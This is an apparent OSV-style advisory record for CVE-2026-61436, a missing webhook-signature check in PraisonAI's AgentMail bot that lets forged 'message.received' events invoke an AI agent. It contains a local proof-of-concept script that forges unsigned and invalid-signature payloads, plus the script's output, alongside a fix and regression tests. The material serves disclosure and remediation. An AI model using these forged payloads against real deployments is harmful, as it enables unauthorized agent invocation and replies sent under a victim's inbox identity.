{"id":"CVE-2026-61436","aliases":["GHSA-7c92-x8vg-4258"],"title":"PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents","summary":"PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.78"],"patched":["praisonai 4.6.78"],"published":"2026-10-07","updated":"2026-10-07","sourceUpdated":"2026-10-07T14:16:45.775865030Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-7c92-x8vg-4258","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61436"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62172"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification"},{"url":"https://github.com/advisories/GHSA-7c92-x8vg-4258"}],"tags":["osv","pip","ghsa"],"epss":0.00518,"epssPercentile":0.42173,"cwe":["CWE-287","CWE-306","CWE-347"],"ingestedAt":"2026-10-07T14:33:21.958Z","slug":"CVE-2026-61436","body":"## Overview\n\n# AgentMail webhook mode accepts forged unsigned message.received events and invokes agents\n\n## Summary\n\n`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.\n\n## Technical Details\n\nThe affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail's documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI's accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.\n\n`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=[\"message.received\"], inbox_ids=...)`, but it does not store or use the returned webhook secret.\n\nThe handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get(\"type\", \"\")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.\n\n`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.\n\nThis report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.\n\n## PoV\n\nthe PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.\n\nThe forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.\n\nEssential PoV excerpt:\n\n```python\nclass FakeRequest:\n    def __init__(self, body, headers=None, json_error=False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self):\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body\n\nbot = AgentMailBot(\n    token=\"am_local_test\",\n    agent=object(),\n    inbox_id=\"assistant@example.test\",\n    config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n)\nbot._inbox_id = \"assistant@example.test\"\nbot._email_address = \"assistant@example.test\"\nbot._config = {}\nbot._session = RecordingSession()\n\npayload = {\n    \"type\": \"message.received\",\n    \"data\": {\n        \"message_id\": \"msg-forged-invalid-svix\",\n        \"from\": \"attacker@example.test\",\n        \"subject\": \"Forged invalid signature\",\n        \"extracted_text\": \"invalid signature forged body\",\n    },\n}\nheaders = {\n    \"svix-id\": \"msg_bad\",\n    \"svix-timestamp\": \"1\",\n    \"svix-signature\": \"v1,definitely-invalid\",\n}\n\nresponse = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))\nawait asyncio.sleep(0)\n```\n\nExpected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `attacker@example.test` and `body` set to `invalid signature forged body`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n```\n\nRun against a local checkout of current head:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"label\": \"current-head-846568c\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nRun against the latest release tag observed during testing:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47\n```\n\nDecisive `v4.6.62` output:\n\n```json\n{\n  \"label\": \"v4.6.62-2a855c47\",\n  \"vulnerable\": true,\n  \"cases\": {\n    \"forged_unsigned_message\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"forged_invalid_svix_signature\": {\n      \"http_status\": 200,\n      \"session_delta\": 1,\n      \"send_delta\": 1\n    },\n    \"invalid_json_control\": {\n      \"http_status\": 400,\n      \"session_delta\": 0\n    },\n    \"non_message_event_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    },\n    \"duplicate_message_control\": {\n      \"http_status\": 200,\n      \"session_delta\": 0\n    }\n  }\n}\n```\n\nInterpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.\n\n## Impact\n\nIf a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.\n\nThe concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.\n\nThis report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication.\n\n## Suggested Fix\n\nFail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints.\n\nVerify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes.\n\nSuggested regression tests:\n\n- webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`;\n- missing Svix headers do not call `_process_webhook_payload()`;\n- invalid Svix signature does not call `_process_webhook_payload()`;\n- stale timestamp does not call `_process_webhook_payload()`;\n- valid Svix signature for the raw body reaches `_process_webhook_payload()`;\n- duplicate `message_id` behavior remains intact after verification succeeds.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai`.\n\nLatest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected.\n\nSampled tag sweep:\n\n```text\nv4.4.12   agentmail_absent\nv4.5.16   agentmail_absent\nv4.5.128  present_unsigned_webhook\nv4.6.33   present_unsigned_webhook\nv4.6.58   present_unsigned_webhook\nv4.6.59   present_unsigned_webhook\nv4.6.60   present_unsigned_webhook\nv4.6.62   present_unsigned_webhook\ncurrent   present_unsigned_webhook\n```\n\nConservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `>= 4.5.128, <= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`.\n\nNearby advisories are distinct:\n\n- `GHSA-fc26-m9pf-v56q`, \"PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing\", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.\n- `GHSA-x92v-rpx6-p6cw`, \"Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)\", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.\n- `GHSA-qvpf-j64c-jmhr`, \"PraisonAI Slack app_mention bypasses configured user/channel authorization\", covers Slack event authorization, not AgentMail webhook authenticity.\n- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks.\n- `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery.\n\nPublic Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path.\n\n## References\n\n- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification\n- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create\n- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q\n- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw\n- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr\n- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html\n- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html\n- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI AgentMail webhook authenticity.\n\nThe script calls the AgentMail webhook handler directly with fake aiohttp\nrequests. It does not bind a port, contact AgentMail, or send email.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass FakeResponse:\n    def __init__(self, status: int = 200, text: str = \"\", content_type: str | None = None):\n        self.status = status\n        self.text = text\n        self.content_type = content_type\n\n\nclass FakeRequest:\n    def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):\n        self._body = body\n        self.headers = headers or {}\n        self._json_error = json_error\n\n    async def json(self) -> dict[str, Any]:\n        if self._json_error:\n            raise ValueError(\"invalid json\")\n        return self._body or {}\n\n\nclass RecordingSession:\n    def __init__(self) -> None:\n        self.calls: list[dict[str, Any]] = []\n\n    async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:\n        self.calls.append(\n            {\n                \"sender_id\": sender_id,\n                \"body\": body,\n                \"chat_id\": kwargs.get(\"chat_id\"),\n                \"message_id\": kwargs.get(\"message_id\"),\n                \"account\": kwargs.get(\"account\"),\n            }\n        )\n        return \"local agent response\"\n\n\ndef install_fake_aiohttp() -> None:\n    web = types.SimpleNamespace(Response=FakeResponse)\n    sys.modules[\"aiohttp\"] = types.SimpleNamespace(web=web)\n\n\ndef configure_import_path(repo: Path) -> None:\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n\n\nasync def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:\n    before_calls = len(bot._session.calls)\n    before_sends = len(bot._sent_messages)\n    response = await bot._handle_email_webhook(request)\n    for _ in range(sleep_ticks):\n        await asyncio.sleep(0)\n    return {\n        \"http_status\": response.status,\n        \"session_delta\": len(bot._session.calls) - before_calls,\n        \"send_delta\": len(bot._sent_messages) - before_sends,\n        \"session_calls\": bot._session.calls[before_calls:],\n        \"sent_messages\": bot._sent_messages[before_sends:],\n    }\n\n\nasync def main_async(repo: Path, label: str) -> dict[str, Any]:\n    install_fake_aiohttp()\n    configure_import_path(repo)\n\n    from praisonai.bots.agentmail import AgentMailBot\n    from praisonaiagents.bots import BotConfig\n\n    bot = AgentMailBot(\n        token=\"am_local_test\",\n        agent=object(),\n        inbox_id=\"assistant@example.test\",\n        config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n    )\n    bot._inbox_id = \"assistant@example.test\"\n    bot._email_address = \"assistant@example.test\"\n    bot._config = {}\n    bot._session = RecordingSession()\n    bot._sent_messages = []\n\n    async def fake_send_message(**kwargs: Any) -> None:\n        bot._sent_messages.append(kwargs)\n\n    bot.send_message = fake_send_message\n\n    invalid_svix_headers = {\n        \"svix-id\": \"msg_bad\",\n        \"svix-timestamp\": \"1\",\n        \"svix-signature\": \"v1,definitely-invalid\",\n    }\n\n    cases: dict[str, Any] = {}\n    cases[\"forged_unsigned_message\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-unsigned\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged unsigned message\",\n                    \"extracted_text\": \"unsigned forged body\",\n                },\n            }\n        ),\n    )\n    cases[\"forged_invalid_svix_signature\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Forged invalid signature\",\n                    \"extracted_text\": \"invalid signature forged body\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n    cases[\"invalid_json_control\"] = await run_case(bot, FakeRequest(None, json_error=True))\n    cases[\"non_message_event_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"domain.verified\",\n                \"data\": {\n                    \"message_id\": \"msg-non-message\",\n                    \"from\": \"attacker@example.test\",\n                    \"extracted_text\": \"should not be processed\",\n                },\n            }\n        ),\n    )\n    cases[\"duplicate_message_control\"] = await run_case(\n        bot,\n        FakeRequest(\n            {\n                \"type\": \"message.received\",\n                \"data\": {\n                    \"message_id\": \"msg-forged-invalid-svix\",\n                    \"from\": \"attacker@example.test\",\n                    \"subject\": \"Duplicate\",\n                    \"extracted_text\": \"duplicate should not create a second call\",\n                },\n            },\n            headers=invalid_svix_headers,\n        ),\n    )\n\n    vulnerable = (\n        cases[\"forged_unsigned_message\"][\"http_status\"] == 200\n        and cases[\"forged_unsigned_message\"][\"session_delta\"] == 1\n        and cases[\"forged_invalid_svix_signature\"][\"http_status\"] == 200\n        and cases[\"forged_invalid_svix_signature\"][\"session_delta\"] == 1\n        and cases[\"invalid_json_control\"][\"http_status\"] == 400\n        and cases[\"invalid_json_control\"][\"session_delta\"] == 0\n        and cases[\"non_message_event_control\"][\"session_delta\"] == 0\n        and cases[\"duplicate_message_control\"][\"session_delta\"] == 0\n    )\n\n    return {\n        \"label\": label,\n        \"repo\": str(repo),\n        \"vulnerable\": vulnerable,\n        \"finding\": \"AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session\",\n        \"cases\": cases,\n    }\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path, required=True)\n    parser.add_argument(\"--label\", default=\"current-head\")\n    args = parser.parse_args()\n    result = asyncio.run(main_async(args.repo.resolve(), args.label))\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Affected packages\n\n- `praisonai < 4.6.78`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.78`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}